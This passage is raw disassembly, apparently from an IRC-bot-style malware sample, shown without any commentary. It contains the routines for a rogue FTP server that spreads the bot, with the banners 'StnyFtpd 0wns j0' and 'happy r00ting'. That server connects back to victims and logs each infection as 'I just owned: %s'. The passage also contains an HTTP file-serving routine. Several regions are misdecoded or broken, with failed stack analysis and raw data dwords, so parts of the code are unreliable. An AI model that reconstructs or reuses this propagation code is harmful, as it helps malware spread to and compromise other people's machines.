[ebp+var_28], ebx mov [ebp+var_20], ebx mov [ebp+var_18], ebx mov [ebp+var_23C], esi mov [ebp+var_43C], esi call ds:dword_4281F4 ; WSAStartup push esi push ebx push 2 call ds:dword_428220 ; socket mov esi, ds:dword_428214 lea ecx, [ebp+var_28] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_20] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push edi call ds:dword_4281F8 ; ioctlsocket mov ax, word ptr ds:dword_4CD938 and [ebp+var_38], 0 push eax mov [ebp+var_3C], 2 call ds:dword_4CDBF8 ; htons mov [ebp+var_3A], ax lea eax, [ebp+var_3C] push 10h push eax push edi call ds:dword_4281FC ; bind test eax, eax jge short loc_40EE26 mov eax, ebx jmp loc_40F359 ; --------------------------------------------------------------------------- loc_40EE26: ; CODE XREF: sub_40ED60+BDj push 0Ah push edi call ds:dword_428200 ; listen mov [ebp+var_23C], ebx mov ebx, ds:dword_428224 mov [ebp+var_238], edi mov [ebp+var_4], edi loc_40EE44: ; CODE XREF: sub_40ED60+11Bj ; sub_40ED60+5F1j push 41h lea esi, [ebp+var_23C] pop ecx lea edi, [ebp+var_43C] rep movsd xor edi, edi lea eax, [ebp+var_43C] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_428228 ; select cmp eax, 0FFFFFFFFh jz loc_40F356 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40EE44 loc_40EE7D: ; CODE XREF: sub_40ED60+5EBj xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41B780 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41B780 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426A18 ; __WSAFDIsSet test eax, eax jz loc_40F344 cmp edi, [ebp+var_8] jnz short loc_40EF26 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call ds:dword_428204 ; accept cmp eax, 0FFFFFFFFh jz loc_40F344 mov edx, [ebp+var_23C] xor ecx, ecx cmp edx, esi jbe short loc_40EEF8 loc_40EEEA: ; CODE XREF: sub_40ED60+196j cmp [ebp+ecx*4+var_238], eax jz short loc_40EEF8 inc ecx cmp ecx, edx jb short loc_40EEEA loc_40EEF8: ; CODE XREF: sub_40ED60+188j ; sub_40ED60+191j cmp ecx, edx jnz short loc_40EF0E cmp edx, 40h jnb short loc_40EF0E mov [ebp+ecx*4+var_238], eax inc [ebp+var_23C] loc_40EF0E: ; CODE XREF: sub_40ED60+19Aj ; sub_40ED60+19Fj cmp eax, [ebp+var_4] jle short loc_40EF16 mov [ebp+var_4], eax loc_40EF16: ; CODE XREF: sub_40ED60+1B1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40F344 ; --------------------------------------------------------------------------- loc_40EF26: ; CODE XREF: sub_40ED60+158j push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call ds:dword_428218 ; recv test eax, eax jg short loc_40EF83 mov ecx, [ebp+var_23C] xor eax, eax cmp ecx, esi jbe short loc_40EF77 loc_40EF47: ; CODE XREF: sub_40ED60+1F3j cmp [ebp+eax*4+var_238], edi jz short loc_40EF6C inc eax cmp eax, ecx jb short loc_40EF47 jmp short loc_40EF77 ; --------------------------------------------------------------------------- loc_40EF57: ; CODE XREF: sub_40ED60+20Fj mov ecx, [ebp+eax*4+var_234] mov [ebp+eax*4+var_238], ecx mov ecx, [ebp+var_23C] inc eax loc_40EF6C: ; CODE XREF: sub_40ED60+1EEj dec ecx cmp eax, ecx jb short loc_40EF57 dec [ebp+var_23C] loc_40EF77: ; CODE XREF: sub_40ED60+1E5j ; sub_40ED60+1F5j push edi call ds:dword_42821C ; closesocket jmp loc_40F344 ; --------------------------------------------------------------------------- loc_40EF83: ; CODE XREF: sub_40ED60+1D9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_0 ; "%s %s" push eax call sub_41C835 lea eax, [ebp+var_B0] push offset aUser_0 ; "USER" push eax call sub_41C260 add esp, 18h test eax, eax jnz short loc_40EFC7 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40EFC7: ; CODE XREF: sub_40ED60+258j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40EFEB push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40EFEB: ; CODE XREF: sub_40ED60+27Cj lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F00F push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40F00F: ; CODE XREF: sub_40ED60+2A0j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F033 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40F033: ; CODE XREF: sub_40ED60+2C4j lea eax, [ebp+var_B0] push offset off_43640C push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F057 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40F057: ; CODE XREF: sub_40ED60+2E8j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F092 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F092 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40F092: ; CODE XREF: sub_40ED60+30Cj ; sub_40ED60+323j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F0CD lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F0CD push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40ED60+347j ; sub_40ED60+35Ej lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F11B push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_128] loc_40F10B: ; CODE XREF: sub_40ED60+3FAj push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_40F332 ; --------------------------------------------------------------------------- loc_40F11B: ; CODE XREF: sub_40ED60+382j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F15C push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F10B ; --------------------------------------------------------------------------- loc_40F15C: ; CODE XREF: sub_40ED60+3D0j lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40F22D lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_2A0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41C835 lea eax, [ebp+var_FC] push eax call sub_41B969 mov [ebp+var_C], eax lea eax, [ebp+var_2D4] push eax call sub_41B969 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41B780 push [ebp+arg_0] lea eax, [ebp+var_FC] push [ebp+var_C] push offset aXX ; "%x%x\n" push eax call sub_41BA76 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_41BFB5 mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_4C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41BA76 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40F32F ; --------------------------------------------------------------------------- loc_40F22D: ; CODE XREF: sub_40ED60+411j lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40F310 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_4C] push eax call sub_40F360 pop ecx cmp eax, 1 pop ecx jnz loc_40F306 cmp [ebp+var_444], esi jnz short loc_40F295 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409966 add esp, 14h loc_40F295: ; CODE XREF: sub_40ED60+510j call sub_40F3DD cmp eax, 1 jnz loc_40F332 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_8E0] push offset aFtpIJustOwnedS ; "[FTP]: I just owned: %s" push eax call sub_41BA76 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F2F1 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409966 add esp, 14h loc_40F2F1: ; CODE XREF: sub_40ED60+56Cj lea eax, [ebp+var_8E0] push eax call sub_4152AE inc ds:dword_4D06F4 pop ecx jmp short loc_40F332 ; --------------------------------------------------------------------------- loc_40F306: ; CODE XREF: sub_40ED60+504j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40F32F ; --------------------------------------------------------------------------- loc_40F310: ; CODE XREF: sub_40ED60+4E2j lea eax, [ebp+var_B0] push offset aQuit ; "QUIT" push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40F332 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40F32F: ; CODE XREF: sub_40ED60+262j ; sub_40ED60+286j ... push edi call ebx ; send loc_40F332: ; CODE XREF: sub_40ED60+3B6j ; sub_40ED60+53Dj ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41B780 add esp, 0Ch loc_40F344: ; CODE XREF: sub_40ED60+14Fj ; sub_40ED60+178j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40EE7D jmp loc_40EE44 ; --------------------------------------------------------------------------- loc_40F356: ; CODE XREF: sub_40ED60+10Fj xor eax, eax inc eax loc_40F359: ; CODE XREF: sub_40ED60+C1j pop edi pop esi pop ebx leave retn 4 sub_40ED60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F360 proc near ; CODE XREF: sub_40ED60+4FAp var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4281F4 ; WSAStartup push 0 push 1 push 2 call ds:dword_428220 ; socket push [ebp+arg_0] mov ds:dword_4D0928, eax mov [ebp+var_10], 2 call ds:dword_428234 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_42820C ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_4D0928 call ds:dword_428210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F3D8 push ds:dword_4D0928 call ds:dword_42821C ; closesocket call ds:dword_4281F0 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F3D8: ; CODE XREF: sub_40F360+60j xor eax, eax inc eax leave retn sub_40F360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3DD proc near ; CODE XREF: sub_40ED60:loc_40F295p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 0B10000h dec eax lea eax, [ebp+var_104] push offset dword_42A06C push eax call sub_41B6B2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F474 test byte ptr [esi+0Ch], 10h jnz short loc_40F458 push edi mov edi, 400h loc_40F420: ; CODE XREF: sub_40F3DD+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41B30A add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push ds:dword_4D0928 call ds:dword_428224 ; send push 1 call ds:dword_428064 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40F420 pop edi loc_40F458: ; CODE XREF: sub_40F3DD+3Bj push esi call sub_41B24B pop ecx push ds:dword_4D0928 call ds:dword_42821C ; closesocket call ds:dword_4281F0 ; WSACleanup xor eax, eax inc eax loc_40F474: ; CODE XREF: sub_40F3DD+35j pop esi leave retn sub_40F3DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F477 proc near ; DATA XREF: seg000:00403CEAo ; seg000:0040BD95o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BD10 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_41B780 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_4CDBF8 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_4CDC78 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_40F83D mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_440B44[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_4CDC24 ; bind cmp eax, 0FFFFFFFFh jz loc_40F83D push 7FFFFFFFh push edi call ds:dword_4CDC20 ; listen cmp eax, 0FFFFFFFFh jz loc_40F83D lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_4CDC94 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40F83D mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_40F54E: ; CODE XREF: sub_40F477+3BCj push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_4CDBE0 ; select cmp eax, 0FFFFFFFFh jz loc_40F838 xor edi, edi mov [ebp+arg_0], edi loc_40F584: ; CODE XREF: sub_40F477+3B6j lea eax, [ebp+var_6F0] push eax push edi call ds:dword_4CDAE4 ; __WSAFDIsSet test eax, eax jz loc_40F823 cmp edi, [ebp+var_8] jnz short loc_40F605 lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call ds:dword_4CDC8C ; accept cmp eax, 0FFFFFFFFh jz loc_40F823 xor ecx, ecx test ebx, ebx jbe short loc_40F5D7 loc_40F5C9: ; CODE XREF: sub_40F477+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_40F5D7 inc ecx cmp ecx, ebx jb short loc_40F5C9 loc_40F5D7: ; CODE XREF: sub_40F477+150j ; sub_40F477+159j cmp ecx, ebx jnz short loc_40F5F4 cmp ebx, 40h jnb short loc_40F5F4 mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_40F5F4: ; CODE XREF: sub_40F477+162j ; sub_40F477+167j cmp eax, [ebp+var_4] jbe loc_40F823 mov [ebp+var_4], eax jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F605: ; CODE XREF: sub_40F477+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_41B780 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B780 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call ds:dword_4CDC10 ; recv test eax, eax jg short loc_40F68C push edi call ds:dword_4CDC90 ; closesocket xor eax, eax test ebx, ebx jbe loc_40F823 loc_40F651: ; CODE XREF: sub_40F477+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_40F679 inc eax cmp eax, ebx jb short loc_40F651 jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F664: ; CODE XREF: sub_40F477+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40F679: ; CODE XREF: sub_40F477+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40F664 dec ebx mov [ebp+var_128], ebx jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F68C: ; CODE XREF: sub_40F477+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B780 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_41B1D0 add esp, 10h test eax, eax jbe loc_40F823 loc_40F6B9: ; CODE XREF: sub_40F477+2F9j mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F75F mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_40F72F lea eax, [ebp+var_18F0] push eax call sub_41B1D0 cmp eax, 5 pop ecx jbe short loc_40F72F mov eax, offset asc_42E0C8 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41BAF0 pop ecx pop ecx push eax call sub_41BAF0 pop ecx pop ecx push eax call sub_41C2E4 push eax lea eax, [ebp+var_23C] push eax call sub_41C0A0 add esp, 10h jmp short loc_40F746 ; --------------------------------------------------------------------------- loc_40F72F: ; CODE XREF: sub_40F477+26Ej ; sub_40F477+280j lea eax, [ebp+var_18F0] push offset asc_4364CC ; "\r\n" push eax call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_40F77B loc_40F746: ; CODE XREF: sub_40F477+2B6j push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_41B780 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F75F: ; CODE XREF: sub_40F477+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_41B1D0 cmp edi, eax pop ecx jb loc_40F6B9 jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F77B: ; CODE XREF: sub_40F477+2CDj xor eax, eax test ebx, ebx jbe short loc_40F7B7 loc_40F781: ; CODE XREF: sub_40F477+319j mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_40F7A9 inc eax cmp eax, ebx jb short loc_40F781 jmp short loc_40F7B7 ; --------------------------------------------------------------------------- loc_40F794: ; CODE XREF: sub_40F477+337j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40F7A9: ; CODE XREF: sub_40F477+314j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40F794 dec ebx mov [ebp+var_128], ebx loc_40F7B7: ; CODE XREF: sub_40F477+308j ; sub_40F477+31Bj lea eax, [ebp+var_360] push eax call sub_41B1D0 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_41B1D0 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_40F81A and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call ds:dword_4CDC94 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_40FA29 add esp, 14h jmp short loc_40F823 ; --------------------------------------------------------------------------- loc_40F81A: ; CODE XREF: sub_40F477+364j push [ebp+arg_0] call ds:dword_4CDC90 ; closesocket loc_40F823: ; CODE XREF: sub_40F477+11Dj ; sub_40F477+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_40F584 jmp loc_40F54E ; --------------------------------------------------------------------------- loc_40F838: ; CODE XREF: sub_40F477+102j mov edi, [ebp+var_8] xor ebx, ebx loc_40F83D: ; CODE XREF: sub_40F477+6Aj ; sub_40F477+92j ... call ds:dword_4CDB8C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_4364A4 push eax call sub_41BA76 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F883 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409966 add esp, 14h loc_40F883: ; CODE XREF: sub_40F477+3E7j lea eax, [ebp+var_8F0] push eax call sub_4152AE pop ecx push edi call ds:dword_4CDC90 ; closesocket push [ebp+var_254] call sub_40B287 pop ecx push ebx call near ptr 0B10000h sbb [edi+5Eh], bl pop ebx sub_40F477 endp ; sp-analysis failed loc_40F8AD: ; DATA XREF: sub_40FA29+245o push ebp mov ebp, esp mov eax, 1654h call sub_41BD10 mov eax, [ebp+8] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp-44Ch] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp-3C8h] push eax lea eax, [ebp-550h] push eax call sub_41BA76 lea eax, [ebp-2C4h] push eax lea eax, [ebp-654h] push eax call sub_41BA76 xor edi, edi add esp, 10h cmp [ebp-0A4h], edi lea eax, [ebp-9Ch] jz short loc_40F918 push offset aTextHtml ; "text/html" jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F918: ; CODE XREF: seg000:0040F90Fj push offset aApplicationOct ; "application/octet-stream" loc_40F91D: ; CODE XREF: seg000:0040F916j push eax call sub_41BA76 pop ecx lea eax, [ebp-68h] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 0B10000h or dword ptr [ebp+1E6AE045h], 50h push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 0B10000h test byte ptr [ebp-427C1FBBh], 48h ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 98458D50h, 0E0458D50h, 98458D50h, 0E0458D50h dd 98458D50h, 64858D50h, 75FFFFFFh, 858D5017h, 0FFFFE9ACh dd 4365C868h, 0EBE85000h, 830000C0h, 1BEB24C4h, 0FF48B5FFh dd 8D50FFFFh, 0FFE9AC85h, 64D868FFh, 0E8500043h, 0C0CEh dd 8D28C483h, 0FFE9AC85h, 0E85057FFh, 0B818h, 858D5059h dd 0FFFFE9ACh, 0B4B5FF50h, 0FFFFFFFBh, 4CDC4815h, 5CBD3900h dd 75FFFFFFh, 0B0858D16h, 50FFFFFAh, 0FBB4B5FFh, 72E8FFFFh dd 59000009h, 8D1DEB59h, 0FFF9AC85h, 0FF5750FFh, 0FFFBB4B5h dd 0B0858DFFh, 50FFFFFAh, 2D3E8h, 10C48300h, 0FBB4B5FFh dd 15FFFFFFh, 4CDC90h, 0FF4CB5FFh, 68E8FFFFh, 59FFFFB8h dd 5DAE857h, 5FB30070h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA29 proc near ; CODE XREF: sub_40F477+399p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B780 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_40FA5F push offset aS_5 ; "\\%s" jmp short loc_40FA67 ; --------------------------------------------------------------------------- loc_40FA5F: ; CODE XREF: sub_40FA29+2Dj mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_40FA67: ; CODE XREF: sub_40FA29+34j lea eax, [ebp+var_10C] push eax call sub_41BA76 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B1D0 test eax, eax pop ecx jbe short loc_40FB02 mov [ebp+arg_8], 2 loc_40FA92: ; CODE XREF: sub_40FA29+D7j lea eax, [ebp+var_10C] push eax call sub_41B1D0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40FAD2 cmp [ebp+esi+var_10C], 25h jnz short loc_40FAD2 cmp [ebp+esi+var_10B], 32h jnz short loc_40FAD2 cmp [ebp+esi+var_10A], 30h jnz short loc_40FAD2 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40FAEC ; --------------------------------------------------------------------------- loc_40FAD2: ; CODE XREF: sub_40FA29+79j ; sub_40FA29+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40FAE2 push 5Ch pop eax jmp short loc_40FAE5 ; --------------------------------------------------------------------------- loc_40FAE2: ; CODE XREF: sub_40FA29+B2j movsx eax, al loc_40FAE5: ; CODE XREF: sub_40FA29+B7j mov [ebp+ebx+var_210], al loc_40FAEC: ; CODE XREF: sub_40FA29+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B1D0 cmp esi, eax pop ecx jb short loc_40FA92 loc_40FB02: ; CODE XREF: sub_40FA29+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_42AAEC push eax call sub_41BA76 lea eax, [ebp+var_314] push offset asc_42B0FC ; "\n" push eax call sub_41C2E4 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_428098 ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_40FB50 cmp eax, 0FFFFFFFFh jnz short loc_40FB53 push [ebp+arg_0] jmp short loc_40FBCF ; --------------------------------------------------------------------------- loc_40FB50: ; CODE XREF: sub_40FA29+11Bj mov [ebp+var_4], esi loc_40FB53: ; CODE XREF: sub_40FA29+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40FB60 mov [ebp+var_4], esi loc_40FB60: ; CODE XREF: sub_40FA29+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40FBDA cmp [ebp+arg_C], edi jz short loc_40FBCE lea eax, [ebp+var_314] push offset asc_436758 ; "*" push eax call sub_41C0B0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41BA76 lea eax, [ebp+var_210] push eax call sub_410416 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41BA76 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_40FC29 ; --------------------------------------------------------------------------- loc_40FBCE: ; CODE XREF: sub_40FA29+14Ej push ebx loc_40FBCF: ; CODE XREF: sub_40FA29+125j call ds:dword_4CDC90 ; closesocket jmp loc_40FCBF ; --------------------------------------------------------------------------- loc_40FBDA: ; CODE XREF: sub_40FA29+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:dword_4280EC ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40FC29 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41BA76 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 0B10000h scasb push esi mov [ebp+var_330], eax call ds:dword_42806C ; CloseHandle loc_40FC29: ; CODE XREF: sub_40FA29+1A3j ; sub_40FA29+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_436724 